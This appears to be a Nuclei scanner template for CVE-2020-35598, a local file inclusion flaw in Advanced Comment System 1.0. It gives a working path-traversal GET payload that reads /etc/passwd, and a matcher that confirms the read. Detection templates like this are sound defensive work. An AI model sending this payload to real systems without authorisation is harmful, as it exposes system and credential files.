id: CVE-2020-35598

info:
  name: Advanced Comment System 1.0 - Local File Inclusion
  author: daffainfo
  severity: high
  description: ACS Advanced Comment System 1.0 is affected by local file inclusion via an advanced_component_system/index.php?ACS_path=..%2f URI.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the entire system.
  remediation: |
    Apply the latest patch or update provided by the vendor to fix the local file inclusion vulnerability in the Advanced Comment System 1.0.
  reference:
    - https://www.exploit-db.com/exploits/49343
    - https://seclists.org/fulldisclosure/2020/Dec/13
    - https://nvd.nist.gov/vuln/detail/CVE-2020-35598
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-35598
    cwe-id: CWE-22
    epss-score: 0.79379
    epss-percentile: 0.99099
    cpe: cpe:2.3:a:advanced_comment_system_project:advanced_comment_system:1.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: advanced_comment_system_project
    product: advanced_comment_system
  tags: cve,cve2020,acs,edb,seclists,lfi,advanced_comment_system_project,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/advanced_component_system/index.php?ACS_path=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 490a004630440220658c07734329a20808a5f45b2909c0fc5c1b5a75883716a7a6d55128afd32d8802200d2f9302dad7d8aab8088ff86777b107472b6ddfb89ddee000895c3bd72048af:922c64590222798bb761d5b6d8e72950